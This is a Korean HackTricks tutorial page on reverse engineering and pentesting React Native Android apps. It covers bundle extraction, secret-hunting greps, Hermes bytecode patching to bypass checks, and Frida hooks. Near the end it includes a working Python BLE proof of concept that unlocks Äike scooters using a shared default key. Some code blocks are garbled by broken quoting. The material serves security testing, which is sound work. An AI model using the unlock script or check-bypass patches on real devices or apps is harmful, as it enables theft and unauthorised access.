React Native 애플리케이션 분석
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
애플리케이션이 React Native 프레임워크로 빌드되었는지 확인하려면 다음 단계를 따르세요:
-
APK 파일의 확장자를 zip으로 바꾸고
cp com.example.apk example-apk.zip및unzip -qq example-apk.zip -d ReactNative명령으로 새 폴더에 추출합니다. -
새로 생성된 ReactNative 폴더로 이동하여 assets 폴더를 찾습니다. 이 폴더 안에서
index.android.bundle파일을 찾을 수 있으며, 이는 minified 형식의 React JavaScript를 포함합니다. -
JavaScript 파일을 검색하려면
find . -print | grep -i ".bundle$"명령을 사용합니다.
Note: APK 대신 Android App Bundle (.aab)이 제공된 경우 먼저 universal APK를 생성한 다음 번들을 추출하세요:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript 코드
If checking the contents of the index.android.bundle you find the JavaScript code of the application (even if minified), you can 분석하여 민감한 정보와 취약점을 찾을 수 있습니다.
As the bundle contains actually all the JS code of the application it’s possible to 여러 파일로 분할할 수 있습니다 (potentially making easier its reverse engineering) using the 도구 react-native-decompiler.
Webpack
To further analyze the JavaScript code, you can upload the file to https://spaceraccoon.github.io/webpack-exploder/ or follow these steps:
- 같은 디렉터리에
index.html이라는 파일을 만들고 다음 코드를 넣으세요:
<script src="./index.android.bundle"></script>
-
Google Chrome에서
index.html파일을 엽니다. -
OS X에서는 Command+Option+J, Windows에서는 Control+Shift+J를 눌러 개발자 도구를 엽니다.
-
개발자 도구에서 “Sources“를 클릭합니다. 폴더와 파일로 분리된 JavaScript 파일이 보이며, 이것이 메인 번들입니다.
만약 index.android.bundle.map라는 파일을 찾으면, 압축되지 않은 형태(unminified)로 소스 코드를 분석할 수 있습니다. Map 파일은 소스 매핑을 포함하고 있어, 압축된 식별자들을 원래 소스와 매핑할 수 있게 해줍니다.
민감한 자격증명 및 endpoints를 검색하려면, 다음 단계를 따르세요:
-
JavaScript 코드를 분석하기 위해 민감한 키워드를 식별합니다. React Native 애플리케이션은 종종 Firebase, AWS S3 같은 서드파티 서비스의 endpoints, private keys 등과 같은 항목을 사용합니다.
-
이 특정 사례에서는 애플리케이션이 Dialogflow 서비스를 사용하는 것으로 관찰되었습니다. 그 구성과 관련된 패턴을 검색하세요.
-
리콘 과정에서 다행히 민감한 하드코딩된 자격증명이 JavaScript 코드에서 발견되었습니다.
Quick secrets/endpoint hunting in bundles
이러한 간단한 greps는 minified JS에서도 흥미로운 지표를 자주 드러냅니다:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Over-The-Air 업데이트 프레임워크가 의심되면, 다음도 찾아보세요:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, signing certs)
JS code 변경 및 재빌드
이 경우 code 변경은 쉽습니다. 앱의 확장자를 .zip으로 변경해서 압축을 풀면 됩니다. 그런 다음 번들 내부에서 modify the JS code inside this bundle and rebuild the app 할 수 있습니다. 이는 테스트 목적으로 앱에 inject code 할 수 있도록 충분합니다.
Hermes bytecode
번들에 Hermes bytecode가 포함되어 있다면, 앱의 Javascript code에 접근할 수 없습니다(축소된 버전조차도).
다음 명령어를 실행하여 번들에 Hermes bytecode가 포함되어 있는지 확인할 수 있습니다:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
하지만 hbctool, 최신 bytecode 버전을 지원하는 hbctool의 업데이트된 forks, hasmer, hermes_rs (Rust library/APIs), 또는 **hermes-dec**을 사용하여 disassemble the bytecode하고 또한 decompile it to some pseudo JS code할 수 있습니다. 예를 들어:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
팁: 오픈소스 Hermes 프로젝트는 특정 Hermes 릴리스에 hbcdump 같은 개발자 도구를 포함합니다. 번들을 생성하는 데 사용된 Hermes 버전과 일치하는 버전을 빌드하면, hbcdump로 함수, 문자열 테이블 및 바이트코드를 덤프하여 더 심층적인 분석을 할 수 있습니다.
코드 변경 및 재빌드 (Hermes)
이상적으로는 역어셈블된 코드를 수정(비교 연산을 바꾸거나 값 등을 변경)한 뒤 바이트코드를 재생성하고 앱을 재빌드할 수 있어야 합니다.
- 원래의 hbctool 은 번들을 디스어셈블하고 변경 후에 다시 빌드하는 것을 지원하지만, 역사적으로는 구버전 바이트코드만 지원했습니다. 커뮤니티가 유지하는 포크들은 (mid-80s–96을 포함한) 최신 Hermes 버전에 대한 지원을 확장하여 현대의 RN 앱을 수정할 때 실용적인 선택인 경우가 많습니다.
- 도구 hermes-dec 은 바이트코드 재생성을 지원하지 않습니다 (decompiler/disassembler 전용)만, 로직을 탐색하고 문자열을 덤프하는 데 매우 유용합니다.
- 도구 hasmer 는 여러 Hermes 버전에 대해 디스어셈블 및 어셈블을 모두 지원하는 것을 목표로 합니다; 어셈블 기능은 아직 성숙 중이지만 최신 바이트코드에서 시도해볼 만합니다.
A minimal workflow with hbctool-like assemblers:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.
동적 분석
앱을 동적으로 분석하려면 Frida를 사용해 React 앱의 developer mode를 활성화하고 **react-native-debugger**로 연결해보세요. 다만 이를 위해서는 앱의 소스 코드가 필요해 보입니다. 자세한 내용은 https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/에서 확인하세요.
Frida로 release에서 Dev Support 활성화 (주의사항)
일부 앱은 실수로 Dev Support를 토글할 수 있는 클래스를 포함해서 배포합니다. 그런 클래스가 존재한다면 getUseDeveloperSupport()가 true를 반환하도록 강제해볼 수 있습니다:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
경고: 올바르게 빌드된 release 빌드에서는 DevSupportManagerImpl 및 관련 디버그 전용 클래스가 제거되며 이 플래그를 전환하면 앱이 충돌하거나 아무 효과가 없을 수 있습니다. 작동하는 경우 일반적으로 개발자 메뉴를 노출시키고 디버거/인스펙터에 연결할 수 있습니다.
RN 앱에서의 네트워크 가로채기
React Native Android는 일반적으로 내부적으로 OkHttp를 사용합니다 (Networking native module을 통해). 루팅되지 않은 기기에서 동적 테스트 중 트래픽을 가로채거나 관찰하려면:
- 시스템 프록시 + 사용자 CA 신뢰 또는 다른 일반적인 Android TLS 우회 기법을 사용하세요.
- RN 전용 팁: 앱이 실수로 release에 Flipper(디버그 도구)를 번들하면 Flipper Network plugin이 요청/응답을 노출할 수 있습니다.
일반적인 Android 가로채기 및 pinning 우회 기법은 다음을 참고하세요:
Make APK Accept CA Certificate
Frida로 런타임 GATT 프로토콜 발견 (Hermes 친화적)
Hermes 바이트코드가 JS의 쉬운 정적 분석을 막을 때는 대신 Android BLE 스택을 후킹하세요. android.bluetooth.BluetoothGatt와 BluetoothGattCallback은 앱이 송수신하는 모든 것을 노출하므로 JS 소스 없이도 독점적인 challenge-response 및 명령 프레임을 역분석할 수 있습니다.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
`java.security.MessageDigest`를 후킹하여 해시 기반 핸드셰이크의 지문을 식별하고 정확한 입력 결합을 캡처합니다:
<details>
<summary>Frida MessageDigest 트레이서 (알고리즘, 입력, 출력)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
실제 사례에서 다음과 같은 BLE 흐름이 확인되었다:
- Read challenge from
00002556-1212-efde-1523-785feabcd123. - Compute
response = SHA1(challenge || key)where the key was a 20-byte default of 0xFF provisioned across all devices. - Write the response to
00002557-1212-efde-1523-785feabcd123, then issue commands on0000155f-1212-efde-1523-785feabcd123.
인증이 완료되면, 명령은 ...155f...로 전송되는 10바이트 프레임이었다 ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). 예: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... 알림은 0000155e-1212-efde-1523-785feabcd123에서 도착했으며(2바이트 registry + payload), registry 값을 조회하려면 registry ID를 00001564-1212-efde-1523-785feabcd123에 쓰고 ...155f...에서 다시 읽으면 된다.
공유/기본 키를 사용하면 challenge-response 방식이 무력화된다. 근처의 공격자는 digest를 계산해 권한 있는 명령을 전송할 수 있다. 최소한의 bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## 인기 있는 RN 라이브러리의 최근 이슈 (확인할 항목)
JS 번들 또는 native libs에서 보이는 서드파티 모듈을 감사할 때, 알려진 취약점이 있는지 확인하고 `package.json`/`yarn.lock`의 버전을 검증하세요.
- react-native-mmkv (Android): versions prior to 2.11.0 logged the optional 암호화 키 to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. 입력값과 라이브러리 버전을 검증하세요.
빠른 확인:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
참고자료
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


